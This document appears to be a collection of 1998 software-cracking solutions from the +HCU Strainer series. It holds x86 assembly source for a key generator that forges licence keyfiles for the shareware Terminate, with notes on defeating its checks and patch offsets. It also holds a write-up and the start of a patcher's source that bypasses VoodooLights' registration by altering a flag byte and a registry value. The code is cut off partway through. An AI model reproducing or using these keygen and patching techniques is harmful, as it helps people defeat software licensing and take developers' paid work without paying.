encrypt/decrypt ; cx - number of bytes to encrypt/decrypt ; kills dx,ax,bx,cx,di ; this proc taken from Terminate, modified a
little mov Counter,CX LOOP5: ; call CALC_XOR_MASK mov AX,Temp_ax mov BX,Temp_dx mov CX, AX mul Word Ptr
Mul_val ; shl CX, 1 ; shl CX, 1 ; shl CX, 1 shl CX, 3 add CH, CL add DX, CX add DX, BX shl BX, 1 shl BX, 1 add DX, BX
add DH, BL mov CL, 5 shl BX, CL add DH, BL add AX, 1 adc DX, 0 mov Word Ptr Temp_ax,AX mov Word Ptr
Temp_dx,DX xor AX, AX xchg AX, DX mov BX,X_val div BX xor Byte Ptr DS:[DI],DL inc DI dec Counter jnz LOOP5 ret
ED_XOR Endp ;-------------------------- Convert ASCII to 32 bit -------------------- CONVERT proc ; kills ax ,bx BEGIN: xor
BX,BX xor ah,ah mov counter1,4 LOOP10: inc di mov al, byte ptr ES:[DI] cmp al,'0' jb RET__ cmp al,'9' ja CHECK_CAPS
sub al,'0' DEC_C: shl bx,4 ; convert and dec counter add bx,ax dec counter1 jz SAVE_ jmp LOOP10 CHECK_CAPS: cmp
al,'A' jb RET__ cmp al,'F' ja CHECK_LOW sub al,37h jmp DEC_C CHECK_LOW: cmp al,'a' jb RET__ cmp al,'f' ja RET__
sub al,57h jmp DEC_C SAVE_: cmp word ptr Off_152_Flag,0 jnz SECOND_WORD mov Off_152_word,BX mov
Off_152_Flag,1 jmp BEGIN SECOND_WORD: mov Off_154_word,BX RET__: ret CONVERT Endp ;---------------------------
STACK ------------------------------------ STACK_SEG Segment Para Stack 'STACK' Db 256 Dup ('S') STACK_SEG Ends
;------------------------------ DATA ---------------------------------- .Data ;-------------------------------- constants
----------------------------- Bb Equ 0FEh Blk_len Equ 162h ; keyfile block's length Num_blk Equ 0Bh ; number of block in kf
X_val Equ 100h ; constant, used in calc xor mask ;-------------------------------- common variables ---------------------- Mul_val
Dw 8405h ; constant, used in calc xor mask Counter Dw 0 Counter1 Db 0 Temp_byte Db 0 Rnd_word1 Dw 1234h ; "seed" for
pseudo-random number generator Rnd_word2 Dw 5678h ;----------------------- flags, affected by command line switches --------
Z_fil_flag Db 0 ; if =1 then blocks of key will be filled with 0 ; bytes before calc crc, write reginfo, pak, etc. ; else they will be
filled with random bytes ; but with check for "bad" bytes in certain blocks Rnd_sig_flag Db 0 ; if =1 then random signatures
will be used Fixed_len_flag Db 0 ; if =1 then length of key will be = 3894 ; else 3894+rnd_len,where rnd_len is value in range
1-105 ; if =2 then length of key will be = 3905 No_hdr_flag Db 0 ; if=1 then dont write key header in block 1 No_crc_flag Db
0 ; if=1 then dont store CRC in blocks 6-10 Off_72_flag db 0 ; if =1 then values 2391h and 4638h will be written ; at offsets
72h and 74h in block 4 Off_152_Word dw 0 ; these words will be written at off 152 Off_154_Word dw 0 ; and 154 in block 4
if Off_152_Flag not = 0 Off_152_Flag db 0 Temp_ax Dw 0 ; temp vars Temp_dx Dw 0 Bl5_ax Dw 0 ; values , calculated from
CRC of block4 Bl5_dx Dw 0 ; and written to block 5 ;-------------------------------- text data ------------------------------ Nl Db
0Dh,0Ah,'$' ; next line Start_msg Db 0Dh,0Ah,Bb,' TERMINATE 3,4,5+ Advanced Key Generator ',BB,0dh,0ah Db 43 Dup
(''),0dh,0ah Db 'Coded by iNT_03h in hot summer of 1998.',0dh,0ah,0dh,0ah,'$' Start_msg1 Db 'Use: term_akg /? to get list of
advanced options.',0dh,0ah,0dh,0ah Db 'Enter info needed for create key',0dh,0ah,'$' Name_ Db 0Dh,0Ah,0Dh,0Ah,Bb,' First
and last name:$' Addr_ask Db 0Dh,0Ah,0Dh,0Ah,Bb,' Addres:$' City_ask Db 0Dh,0Ah,0Dh,0Ah,Bb,' City:$' Country_ask Db
0Dh,0Ah,0Dh,0Ah,Bb,' Country:$' Error_1 Db 0Dh,0Ah,Bb,' Could not create Terminat.key !!!$' Error_2 Db 0Dh,0Ah,Bb,'
Could not write Terminat.key !!!$' Help Db 0Dh,0Ah,Bb,' Command line syntax: term_akg
[option1][option2][...]',0Dh,0Ah,0Dh,0Ah Db ' options:',0dh,0ah Db ' ? - get this help',0dh,0ah Db ' s - use random, but valid
"magic" values in block 4 ( else use constant',0dh,0ah Db ' "magic" values, which provide valid key for Terminate 3,4,5+
)',0dh,0ah db ' o - write 2391h,4638h to offset 72h,74h in block 4 ( else random values )',0dh,0ah db ' i - enter value to put at
offset 152h,154h ( else fill with 0 ),',0dh,0ah db ' e.g. i00ef3445 - 00efh will be written to offset 152h, 3445 - to offset
154h.',0dh,0ah Db ' z - fill unimportant part of key with 0 ( else with random bytes )',0dh,0ah Db ' l - fixed length (3894 bytes)
of key ( else add random length block )',0dh,0ah Db ' a - fixed length (3905 bytes) of key ( else add random length block
)',0dh,0ah Db ' c - dont store CRC in blocks 6-10',0dh,0ah Db ' r - dont write key header in block 1',0dh,0ah,0dh,0ah Db Bb,'
Use these advanced settings only if you know what are you doing. Default',0dh,0ah Db ' settings will create 100% valid key for
Terminate 3,4,5 and all future',0dh,0ah Db ' versions too if encryption remains same.$' Done_msg Db 0Dh,0Ah,0Dh,0Ah,Bb,'
Done. Key succesfully created.$' Bad_names Db 13,'Peter Thomsen',18,'Terry Rossid / BAI',10,'Tom Nelson',3,'N/A' Db
15,'TIMUCIN KIZILAY',8,'JIKO A.S',17,'Heiner Marczewski' Db 14,'Joshua Schultz',14,'John McCormick',17,'Stephen B.
Browne' Db 8,'R NATHAN',14,'Angela G Dubin',16,'Per Angelo Camia' Db 19,'William R. Rininger',34,'Velibor Cagalj /
Zeit.Systeme GmbH' Db 16,'Louvier Bertrand',11,'Jenny Hines',10,'Gilad Avni' Db 24,'mic-mega industries gmbh',30,'Marcus
Pullen / Computer Buyer' Db 20,'Herr Erland Lorenzen' ;bad city Bad_name_msg Db 7,0Dh,0Ah,0Dh,0Ah,'*** You''ve entered
name and/or city that TERMINATE won''t accept ***',0dh,0ah Db Bb,' Press any key to reenter reg info...$'
;--------------------------------- reg info ------------------------------ Nam Db 51 Nam_len Db 52 Dup (0) Addres Db 51 Addres_len
Db 52 Dup (0) City Db 51 City_len Db 52 Dup (0) Country Db 51 Country_len Db 52 Dup (0) ;--------------------------------- key
specific info -------------------- Keyfile Db 'terminat.key',0 Handle Dw 0 Key_header1 Db 0Dh,1Bh,5Bh,32h,4Ah,0Dh,'Terminat
personal keyfile',0dh,0ah Key_header2 Db 0Dh,0Ah,7,7,1Ah Temp_blk Db 162h Dup(0) Crc_ax Dw 0FFFFh Crc_dx Dw
0FFFFh ; table, used for calculate CRC, I took it from terminat.exe. I used my ; own C programm to convert binary file to what
you see below. Crc_table Db 0,0,0,0,96h,30h,7,77h,2Ch,61h,0Eh,0EEh,0BAh,51h,9,99h,19h,0C4h Db
6Dh,7,8Fh,0F4h,6Ah,70h,35h,0A5h,63h,0E9h,0A3h,95h,64h,9Eh,32h,88h,0DBh Db
0Eh,0A4h,0B8h,0DCh,79h,1Eh,0E9h,0D5h,0E0h,88h,0D9h,0D2h,97h,2Bh,4Ch Db
0B6h,9,0BDh,7Ch,0B1h,7Eh,7,2Dh,0B8h,0E7h,91h,1Dh,0BFh,90h,64h,10h,0B7h Db
1Dh,0F2h,20h,0B0h,6Ah,48h,71h,0B9h,0F3h,0DEh,41h,0BEh,84h,7Dh,0D4h,0DAh Db
1Ah,0EBh,0E4h,0DDh,6Dh,51h,0B5h,0D4h,0F4h,0C7h,85h,0D3h,83h,56h,98h,6Ch Db
13h,0C0h,0A8h,6Bh,64h,7Ah,0F9h,62h,0FDh,0ECh,0C9h,65h,8Ah,4Fh,5Ch,1 Db
14h,0D9h,6Ch,6,63h,63h,3Dh,0Fh,0FAh,0F5h,0Dh,8,8Dh,0C8h,20h,6Eh,3Bh Db
5Eh,10h,69h,4Ch,0E4h,41h,60h,0D5h,72h,71h,67h,0A2h,0D1h,0E4h,3,3Ch,47h Db
0D4h,4,4Bh,0FDh,85h,0Dh,0D2h,6Bh,0B5h,0Ah,0A5h,0FAh,0A8h,0B5h,35h Db
6Ch,98h,0B2h,42h,0D6h,0C9h,0BBh,0DBh,40h,0F9h,0BCh,0ACh,0E3h,6Ch,0D8h Db
32h,75h,5Ch,0DFh,45h,0CFh,0Dh,0D6h,0DCh,59h,3Dh,0D1h,0ABh,0ACh,30h,0D9h Db
26h,3Ah,0,0DEh,51h,80h,51h,0D7h,0C8h,16h,61h,0D0h,0BFh,0B5h,0F4h,0B4h Db
21h,23h,0C4h,0B3h,56h,99h,95h,0BAh,0CFh,0Fh,0A5h,0BDh,0B8h,9Eh,0B8h Db
2,28h,8,88h,5,5Fh,0B2h,0D9h,0Ch,0C6h,24h,0E9h,0Bh,0B1h,87h,7Ch,6Fh Db
2Fh,11h,4Ch,68h,58h,0ABh,1Dh,61h,0C1h,3Dh,2Dh,66h,0B6h,90h,41h,0DCh,76h Db
6,71h,0DBh,1,0BCh,20h,0D2h,98h,2Ah,10h,0D5h,0EFh,89h,85h,0B1h,71h,1Fh Db
0B5h,0B6h,6,0A5h,0E4h,0BFh,9Fh,33h,0D4h,0B8h,0E8h,0A2h,0C9h,7,78h,34h Db
0F9h,0,0Fh,8Eh,0A8h,9,96h,18h,98h,0Eh,0E1h,0BBh,0Dh,6Ah,7Fh,2Dh Db
3Dh,6Dh,8,97h,6Ch,64h,91h,1,5Ch,63h,0E6h,0F4h,51h,6Bh,6Bh,62h,61h,6Ch Db
1Ch,0D8h,30h,65h,85h,4Eh,0,62h,0F2h,0EDh,95h,6,6Ch,7Bh,0A5h,1,1Bh Db
0C1h,0F4h,8,82h,57h,0C4h,0Fh,0F5h,0C6h,0D9h,0B0h,65h,50h,0E9h,0B7h Db
12h,0EAh,0B8h,0BEh,8Bh,7Ch,88h,0B9h,0FCh,0DFh,1Dh,0DDh,62h,49h,2Dh,0DAh Db
15h,0F3h,7Ch,0D3h,8Ch,65h,4Ch,0D4h,0FBh,58h,61h,0B2h,4Dh,0CEh,51h,0B5h Db
3Ah,74h,0,0BCh,0A3h,0E2h,30h,0BBh,0D4h,41h,0A5h,0DFh,4Ah,0D7h,95h,0D8h Db
3Dh,6Dh,0C4h,0D1h,0A4h,0FBh,0F4h,0D6h,0D3h,6Ah,0E9h,69h,43h,0FCh,0D9h Db
6Eh,34h,46h,88h,67h,0ADh,0D0h,0B8h,60h,0DAh,73h,2Dh,4,44h,0E5h,1Dh,3 Db
33h,5Fh,4Ch,0Ah,0AAh,0C9h,7Ch,0Dh,0DDh,3Ch,71h,5,50h,0AAh,41h,2,27h Db
10h,10h,0Bh,0BEh,86h,20h,0Ch,0C9h,25h,0B5h,68h,57h,0B3h,85h,6Fh,20h Db
9,0D4h,66h,0B9h,9Fh,0E4h,61h,0CEh,0Eh,0F9h,0DEh,5Eh,98h,0C9h,0D9h,29h Db
22h,98h,0D0h,0B0h,0B4h,0A8h,0D7h,0C7h,17h,3Dh,0B3h,59h,81h,0Dh,0B4h Db
2Eh,3Bh,5Ch,0BDh,0B7h,0ADh,6Ch,0BAh,0C0h,20h,83h,0B8h,0EDh,0B6h,0B3h Db
0BFh,9Ah,0Ch,0E2h,0B6h,3,9Ah,0D2h,0B1h,74h,39h,47h,0D5h,0EAh,0AFh,77h Db
0D2h,9Dh,15h,26h,0DBh,4,83h,16h,0DCh,73h,12h,0Bh,63h,0E3h,84h,3Bh,64h Db
94h,3Eh,6Ah,6Dh,0Dh,0A8h,5Ah,6Ah,7Ah,0Bh,0CFh,0Eh,0E4h,9Dh,0FFh,9 Db
93h,27h,0AEh,0,0Ah,0B1h,9Eh,7,7Dh,44h,93h,0Fh,0F0h,0D2h,0A3h,8,87h Db
68h,0F2h,1,1Eh,0FEh,0C2h,6,69h,5Dh,57h,62h,0F7h,0CBh,67h,65h,80h,71h Db
36h,6Ch,19h,0E7h,6,6Bh,6Eh,76h,1Bh,0D4h,0FEh,0E0h,2Bh,0D3h,89h,5Ah,7Ah Db
0DAh,10h,0CCh,4Ah,0DDh,67h,6Fh,0DFh,0B9h,0F9h,0F9h,0EFh,0BEh,8Eh,43h Db
0BEh,0B7h,17h,0D5h,8Eh,0B0h,60h,0E8h,0A3h,0D6h,0D6h,7Eh,93h,0D1h,0A1h Db
0C4h,0C2h,0D8h,38h,52h,0F2h,0DFh,4Fh,0F1h,67h,0BBh,0D1h,67h,57h,0BCh Db
0A6h,0DDh,6,0B5h,3Fh,4Bh,36h,0B2h,48h,0DAh,2Bh,0Dh,0D8h,4Ch,1Bh,0Ah Db
0AFh,0F6h,4Ah,3,36h,60h,7Ah,4,41h,0C3h,0EFh,60h,0DFh,55h,0DFh,67h,0A8h Db
0EFh,8Eh,6Eh,31h,79h,0BEh,69h,46h,8Ch,0B3h,61h,0CBh,1Ah,83h,66h,0BCh Db
0A0h,0D2h,6Fh,25h,36h,0E2h,68h,52h,95h,77h,0Ch,0CCh,3,47h,0Bh,0BBh Db
0B9h,16h,2,22h,2Fh,26h,5,55h,0BEh,3Bh,0BAh,0C5h,28h,0Bh,0BDh,0B2h Db
92h,5Ah,0B4h,2Bh,4,6Ah,0B3h,5Ch,0A7h,0FFh,0D7h,0C2h,31h,0CFh,0D0h,0B5h Db
8Bh,9Eh,0D9h,2Ch,1Dh,0AEh,0DEh,5Bh,0B0h,0C2h,64h,9Bh,26h,0F2h,63h,0ECh Db
9Ch,0A3h,6Ah,75h,0Ah,93h,6Dh,2,0A9h,6,9,9Ch,3Fh,36h,0Eh,0EBh,85h Db
67h,7,72h,13h,57h,0,5,82h,4Ah,0BFh,95h,14h,7Ah,0B8h,0E2h,0AEh,2Bh Db
0B1h,7Bh,38h,1Bh,0B6h,0Ch,9Bh,8Eh,0D2h,92h,0Dh,0BEh,0D5h,0E5h,0B7h Db
0EFh,0DCh,7Ch,21h,0DFh,0DBh,0Bh,0D4h,0D2h,0D3h,86h,42h,0E2h,0D4h,0F1h Db
0F8h,0B3h,0DDh,68h,6Eh,83h,0DAh,1Fh,0CDh,16h,0BEh,81h,5Bh,26h,0B9h,0F6h Db
0E1h,77h,0B0h,6Fh,77h,47h,0B7h,18h,0E6h,5Ah,8,88h,70h,6Ah,0Fh,0FFh Db
0CAh,3Bh,6,66h,5Ch,0Bh,1,11h,0FFh,9Eh,65h,8Fh,69h,0AEh,62h,0F8h,0D3h Db
0FFh,6Bh,61h,45h,0CFh,6Ch,16h,78h,0E2h,0Ah,0A0h,0EEh,0D2h,0Dh,0D7h Db
54h,83h,4,4Eh,0C2h,0B3h,3,39h,61h,26h,67h,0A7h,0F7h,16h,60h,0D0h,4Dh Db
47h,69h,49h,0DBh,77h,6Eh,3Eh,4Ah,6Ah,0D1h,0AEh,0DCh,5Ah,0D6h,0D9h,66h Db
0Bh,0DFh,40h,0F0h,3Bh,0D8h,37h,53h,0AEh,0BCh,0A9h,0C5h,9Eh,0BBh,0DEh Db
7Fh,0CFh,0B2h,47h,0E9h,0FFh,0B5h,30h,1Ch,0F2h,0BDh,0BDh,8Ah,0C2h,0BAh Db
0CAh,30h,93h,0B3h,53h,0A6h,0A3h,0B4h,24h,5,36h,0D0h,0BAh,93h,6,0D7h Db
0CDh,29h,57h,0DEh,54h,0BFh,67h,0D9h,23h,2Eh,7Ah,66h,0B3h,0B8h,4Ah,61h Db
0C4h,2,1Bh,68h,5Dh,94h,2Bh,6Fh,2Ah,37h,0BEh,0Bh,0B4h,0A1h,8Eh,0Ch Db 0C3h,1Bh,0DFh,5,5Ah,8Dh,0EFh,2,2Dh End
START ;-------------------------------- cut -------------------------------------- As I said before if you think that info I get about
original keys from PREDATOR 666's keygen for Term 3 is cheat, use: term_akg.exe c r And my keygen will generate _valid_
key based only on my knowledge I got from terminate.exe , it will be key without header and CRC stored in block 6-10. But in
this case we cannot be sure that this key will be valid in all future ver of T, because developers can begin to check for key
header, or CRC stored in block 6-10... More about keygen switches: s - will put random values at offsets 14Eh,150h instead of
values 3ef,0. Of course, values 3ef,0 are very good and they are from authentic keys I think, but I decided to make this switch
in case developers will change keyfile logic and just for fun. "Design your own key!!!" o - will put 2391h,4638h to offset
72h,74h in block 4. This values doesn't means much, they only used for set bytes x ( see 1615E3h-1615E6h - 4 bytes 01,x,01,y
) to 79h (instead of 84h) also only if offsets 156h,158h contains values 12FD, FA98. i - let you put your values to offsets
152h,154h in decrypted block 4. These values then will be xored ,converted to ASCII and stored in terminat.exe at offsets
1615F1h-1615F9h. These values not checked in Term 5, but who knows about future versions? z - fill unimportant areas in
keyfile with 0. Else this areas will be filled with random values. Of course, filling blocks with 0 is not very good idea, because
future vers of T can check for it, but "D.y.o.k!!!" l - length of keyfile will be 3894 bytes, i.e. length only really needed.
162h=384, 384*11=3894. Also not good idea to create such keys, coz they can begin to check length of key. a - length of kf
will be 3905. I decided to make this switch coz when T already registered and T search for keyfile in its directory, it tries to
open and read 3905 bytes from kf.( See IDA listing ) May be this is fake or trap (i.e. make your key 3905 bytes long , stupid
cracker, we will reject such keys in future ver of T :)), but who knows. I think we should create keys with as many random
parametrs as possible, i.e. random keys length, unimportant areas filled with random values. Any fixed values crackers use in
their keygens will only creates problems with futures versions of Terminate, because developers of T include check for those
values in Terminate. Of course, creating keys with random params can force developers to begin to check for real params, i.e.
params they use in their original keys, but then we will able to create our keys absolutely like original ones :)) infinite war. I
think there is only one way for developers: they must completely change protection scheme, keyfile logic (even if good honest
users which paid money for keys will have to get new ones). Several things I forgot to tell about: T uses next sub to calc how
many days you have in your evaluation period: 97E8:71C8 Calc_remained_days_in_eval proc far ; CODE XREF:
j_Calc_remained_da ... vars 97E8:71C8 push bp 97E8:71C9 mov bp, sp 97E8:71CB sub sp, 0Ah 97E8:71CE mov ax,
CURRENT_DATE_word ; word_192F_1766 97E8:71D1 xor dx, dx 97E8:71D3 mov [bp+var_6], ax 97E8:71D6 mov
[bp+var_4], dx 97E8:71D9 mov ax, DATE_OF_INSTALL_word ; word_192F_61C4 97E8:71DC xor dx, dx 97E8:71DE mov
[bp+var_A], ax 97E8:71E1 mov [bp+var_8], dx 97E8:71E4 mov ax, [bp+var_6] 97E8:71E7 mov dx, [bp+var_4] 97E8:71EA
sub ax, [bp+var_A] 97E8:71ED sbb dx, [bp+var_8] 97E8:71F0 mov [bp+var_6], ax 97E8:71F3 mov [bp+var_4], dx
97E8:71F6 cmp [bp+var_4], 0 97E8:71FA jl loc_87E8_7204 97E8:71FC jg loc_87E8_720E 97E8:71FE cmp [bp+var_6], 0
97E8:7202 jnb loc_87E8_720E 97E8:7204 loc_87E8_7204: ; CODE XREF: Calc_remained_days_in_eval+32 j 97E8:7204
mov [bp+var_6], 16h 97E8:7209 mov [bp+var_4], 0 97E8:720E loc_87E8_720E: ; CODE XREF:
Calc_remained_days_in_eval+34 j 97E8:720E ; Calc_remained_days_in_eval+3A j 97E8:720E mov ax, [bp+var_6] 97E8:7211
mov [bp+var_2], ax ; return number of days left in eval period 97E8:7214 mov ax, [bp+var_2] ; return them in ax 97E8:7217
mov sp, bp 97E8:7219 pop bp 97E8:721A retf 97E8:721A Calc_remained_days_in_eval endp About files which needed by T: -
terminat.dat - contains encrypted "Unbranded version" msg - terminat.reg - contains encrypted reginfo you entered when
Terminate was installing. Terminate needs this file not every time you run it, but only if some conditions become true:
87A8:2D0B something_with_T_REG proc far ; CODE XREF: j_something_with_T_REG J 87A8:2D0B ; validate_key+1E79
p 87A8:2D0B var_206= byte ptr -206h 87A8:2D0B var_12A= byte ptr -12Ah 87A8:2D0B var_106= byte ptr -106h
87A8:2D0B var_2A= byte ptr -2Ah 87A8:2D0B var_6= byte ptr -6 87A8:2D0B var_1= byte ptr -1 87A8:2D0B arg_0= byte ptr
6 87A8:2D0B 87A8:2D0B push bp 87A8:2D0C mov bp, sp 87A8:2D0E sub sp, 206h 87A8:2D12 call @Randomize$qv ;
Randomize 87A8:2D17 mov ax, 19h 87A8:2D1A push ax 87A8:2D1B call calc_xor_mask_1 87A8:2D20 cmp ax, 3 ; only if
calc_xor_mask1 return 3 87A8:2D23 jz loc_77A8_2D28 ; T begins to do something with terminat.reg 87A8:2D25 jmp
loc_77A8_2E7F ; else just return loc_77A8_2D28: here T reads terminat.reg and encrypts it again or something like that, I
don't really care about this. - terminat.dis -- this file is not requiered by Terminate, but it contains encrypted list of authors of
Terminate, or may be those ppl are not authors hell knows... PS. By the way, there is another posibility to get registered
Terminate. It possible to write not keygenerator, but reginfo generator, i.e. user enter name,address,city,country, and reggen
encrypts it like T does and patch terminat.exe. After that we only need to put some file to Terminate directory and rename it to
terminat.key :)) PPS. Another way: rough patch ;-). I.e. we can change byte at offset 161504h in terminat.exe from BDh to 77h
and patch: 87A8:24BB call @$bsub$qm6Stringt1 ; compare "ascii" crc from reginfo with just calculated offset 69ac3h in
terminat.exe - 87A8:24C0 jz loc_77A8_24C5 ;HERE WE NEED JMP 87A8:24C2 jmp loc_77A8_27F5 ; if we go there - we
have unreg. T and Terminate registered!!! But its not very good way, because instead of our name,city,etc we'll get complete
mess for some reason, may be because of T use other mask for decrypt reginfo when it registered? So reginfo decrypted
incorrectly and even if it would decrypted correctlly it doesn't contain our name,city, etc. So this way is most rough and useless,
but possible. End of the solution.
Solution for Part II of +HCU Strainer 99. Solved by iNT_03h. TARGET: 32 bit Windows based byte patcher. TARGET of
previous target: screen saver VoodooLights v.1.1 (beta 9) ;) Note: VoodooLights requires 3Dfx card. URL:
http://asc.di.fct.unl.pt/~smd/voodoolights/download.html TOOLS: Asm Edit 1.82a, SoftIce 3.22 for W95, IDA PRO 3.75 Full
SOLUTION: First, English is not my motherlanguage, so please excuse my mistakes... VoodooLights is a great screensaver,
but its shareware and works only 30 days. So I decided to crack it. At first look target uses tough (RSA !!!) keybased protection
scheme. It uses ADVAPI32.DLL for check keys. After understanding this I decided that I don't want to mess with such kind of
encryption system (Terminate was enough for me for a while ;), and tried to find other, easier way. And of course it exist! This
listing was created by IDA for VoodooLights v1.1 beta 8 , because I cracked target month ago, and several days ago I
downloaded BETA 9, and of course protection remains same, only offsets of this sub are little different. So I didnt recreate
listing. 00412034 Validate_Key? proc near ; CODE XREF: sub_4089D8+ 00412034 ; sub_408FC8+23B p 00412034 ;
sub_40924C+FD p 00412034 var_4 = dword ptr -4 00412034 arg_0 = dword ptr 8 00412034 arg_4 = dword ptr 0Ch 00412034
arg_8 = dword ptr 10h 00412034 arg_C = dword ptr 14h 00412034 push ebp 00412035 mov ebp, esp 00412037 push ecx
00412038 push ebx 00412039 push esi 0041203A xor eax, eax 0041203C mov esi, [ebp+arg_C] 0041203F mov ebx,
[ebp+arg_8] 00412042 mov [ebp+var_4], eax 00412045 call sub_411DFC 0041204A push offset aCryptcreatehas 0041204F
lea edx, [ebp+var_4] 00412052 push edx 00412053 push 0 00412055 push 0 00412057 push 8003h 0041205C mov ecx,
dword_457ADC 00412062 push ecx 00412063 call j_CryptCreateHash 00412068 test eax, eax 0041206A setnz al 0041206D
and eax, 1 00412070 push eax 00412071 call sub_411D70 00412076 add esp, 8 00412079 push offset aCrypthashdataF
0041207E push 0 00412080 push esi 00412081 push ebx 00412082 mov edx, [ebp+var_4] 00412085 push edx 00412086 call
j_CryptHashData 0041208B test eax, eax 0041208D setnz cl 00412090 and ecx, 1 00412090 and ecx, 1 00412093 push ecx
00412094 call sub_411D70 00412099 add esp, 8 0041209C push offset aCrypthashdataF 004120A1 push 0 004120A3 push esi
004120A4 push ebx 004120A5 mov eax, [ebp+var_4] 004120A8 push eax 004120A9 call j_CryptHashData 004120AE test
eax, eax 004120B0 setnz dl 004120B3 and edx, 1 004120B6 push edx 004120B7 call sub_411D70 004120BC add esp, 8
004120BF push offset dword_46D4F8 004120C4 mov ecx, dword_46D500 004120CA push ecx 004120CB mov eax,
dword_46D4FC 004120D0 push eax 004120D1 call sub_411DC4 004120D6 add esp, 0Ch 004120D9 mov edx,
dword_46D4F8 004120DF push 0 004120E1 push 0 004120E3 push edx 004120E4 mov ecx, [ebp+arg_4] 004120E7 push ecx
004120E8 mov eax, [ebp+arg_0] 004120EB push eax 004120EC mov edx, [ebp+var_4] 004120EF push edx 004120F0 call
j_CryptVerifySignatureA 004120F5 test eax, eax 004120F7 push offset aCryptdestroyFa 004120FC setnz bl 004120FF mov
eax, [ebp+var_4] 00412102 and ebx, 1 00412105 push eax 00412106 call j_CryptDestroyHash 0041210B test eax, eax
0041210D setnz dl 00412110 and edx, 1 00412113 push edx 00412114 call sub_411D70 00412119 add esp, 8 0041211C push
offset aCryptdestroyke 00412121 mov ecx, dword_46D4F8 00412127 push ecx 00412128 call j_CryptDestroyKey 0041212D
test eax, eax 0041212F setnz al 00412132 and eax, 1 00412135 push eax 00412136 call sub_411D70 0041213B add esp, 8
0041213E call sub_411E40 00412143 mov eax, ebx ; <------------------ here 00412145 pop esi ; if ebx=1 - VL registered
00412146 pop ebx 00412147 pop ecx 00412148 pop ebp 00412149 retn 00412149 Validate_Key? endp How stupid can be
authors of shareware !!! So cool encryption and after all stupid flag, and only in one place .... After I ran patched screen saver,
and opened Registration window, I saw "Thank you .... blah blah Registered to: not registered". "It aint nice", thought I and
searched registry for "Voodool". I found its key and subkey "Registration" with "Owner" value set to "not registered". I decided
make patcher which will not only patch target but also can restore target back to its original state, i.e. depatch, also my patcher
changes "Owner" value in registry to string entered by user. For creating patcher I used AsmEdit 1.82a - great tool. Btw, I had
to crack it first, because UCF crack that came with archive doesn't seem to work on my PII (powerfull, but strange cpu's , they
don't run well many old dos programms in W95, especially protected or encrypted ones). As soon as I depacked asmshell.exe
everything became clear for me. Several integrity checks ("Error in REALITY.SYS..."), check for length of asmshell.exe,
check for expiration, check for name of asmshell ("ALAS, HACKER , YOU MUST NOT RENAME THIS LITTLE CUTE
PROGRAM " :)). Anyway, heres the patcher: ;------------------------- vl_crk.asm -------------------------------- ; Voodoo Lights
v1.1(beta 9) crack-patch ; ; TASM 5.0r FULL ; compile: tasm32.exe -ml -m5 -q vl_crk ; link: tlink32.exe -Tpe -aa -c -x
vl_crk.obj ,,, import32 ,, vl_crk.res ; resource: use BRW 4.5 to compile vl_crk.rc ; ; (C)oded by iNT_03h in 1998. .386p .model
flat,stdCALL ;---------------------------extrn--------------------- Extrn RegCreateKeyExA:proc Extrn RegSetValueExA:proc Extrn
RegDeleteKeyA:proc Extrn RegOpenKeyExA:proc Extrn RegCloseKey:proc Extrn RegDeleteValueA:proc Extrn
GetDlgItemTextA:proc Extrn MessageBoxA:proc Extrn EndDialog:proc Extrn GetDlgItem:proc Extrn SetFocus:proc Extrn
SendMessageA:proc Extrn ExitProcess:proc Extrn DialogBoxParamA:proc Extrn GetModuleHandleA:proc Extrn
GetFileSize:proc Extrn CreateFileA:proc Extrn ReadFile:proc Extrn WriteFile:proc Extrn CloseFile:proc Extrn
SetFileAttributesA:proc Extrn SetFilePointer:proc Extrn CloseHandle:proc Include windows.inc ; ---------------------------- def
stuff ----------------------- Id_restore Equ 101 Id_edit Equ 102 False Equ 0 True Equ 1 Dialog1 Equ 103 ; defs for CreateFileA
Generic_write equ 40000000h Generic_read equ 80000000h Gr_gw equ 40000000h or 80000000h File_attribute_normal equ
00000080h Open_existing equ 00000003h ;defs for RegCreateKeyA REG_CREATED_NEW_KEY equ 1
REG_OPENED_EXISTING_KEY equ 2 ;---------------------------------------data ----------------------- .data ;Tempword Dd 0 ; for
RegCreateKeyEx Disposition dd ? Result dd ? Reg_key db 'SOFTWARE\Smd\VoodooLights\1.1\Registration',0 Reg_val db
'Owner',0 Dlg_handle Dd 0 Title2 Db 'Success',0 Title1 Db 'Error',0 Handle Dd ? ; file handle Filename Db
'VoodooLights.scr',0 ; our target Error_msg1 Db 'The file "VoodooLights.scr" is not found in current directory.',0AH,0DH,0
Error_msg2 Db 'The VoodooLights is already cracked!',0AH,0DH,0 Error_msg3 Db 'Probably this is a different version ' Db
'of VoodooLights.',0AH,0DH,0 Error_msg4 Db 'Wrong file size. It must be 1,593,344 bytes.',0ah,0dh,0 Error_msg5 Db 'Can`t
restore. The VoodooLights is not cracked yet!',0ah,0dh,0 Error_msg6 Db 'Can`t patch file!',0ah,0dh,0 Error_msg7 Db 'Can`t
read from file!',0ah,0dh,0 Error_msg8 Db 'Can`t move file pointer!',0ah,0dh,0 Reg_msg db 'Can`t create registry
key!',0AH,0DH,0 Reg_msg1 db 'Can`t delete registry key!',0AH,0DH,0 Done_msg Db ' Patching... Done.',0AH,0DH,0
Restore_msg db 'Restoring VoodooLights... Done.',0AH,0DH,0 Patch_size Dd 2 ;File_size Dd 17CA00h ;for beta 8 File_size
Dd 185000h ;for beta 8 ;Patch_loc Dd 11743h ; loc of "reg" flag set for Beta 8 Patch_loc Dd 12113h ; loc of "reg" flag set for
Beta 9 Orig_bytes Db 8Bh,0C3h ; mov eax,ebx Cracked_bytes Db 0B0h,01 ; mov al,1 Bytes_writen Dd 2 Dup (0) Byte_read
Dd ? Read_buf Dd 2 Dup (0) Buff Db (64) Dup(0) ; set lenght of ur input + 1 Buff_len Equ 64 Hinst Dd 0
;------------------------------------ code "---------------.class" tppabs="http://fravia.org/99solu/---------------.class" .code START:
call GetModuleHandleA ;get hmod (in eax) mov [Hinst],EAX push Offset Buff ;LPARAM to pass to dialog push Offset
MYDLG ;DLGPROC lpDialogFunc push 0 ;window handle of this window push Dialog1 ;Dialog ID push [Hinst] ;Module
Instance call DialogBoxParamA ;Invoke Dialog call ExitProcess ; ----------------------------- Dlg proc --------------------------
MYDLG Proc Hdlg:Dword, wmsg:Dword, wparam:Dword, lparam:Dword cmp [wmsg],WM_INITDIALOG ;if message is
INITDIALOG then jne Return_ ;just return mov EAX, Offset Buff push Id_edit ;get handle push [Hdlg] ;of the edit call
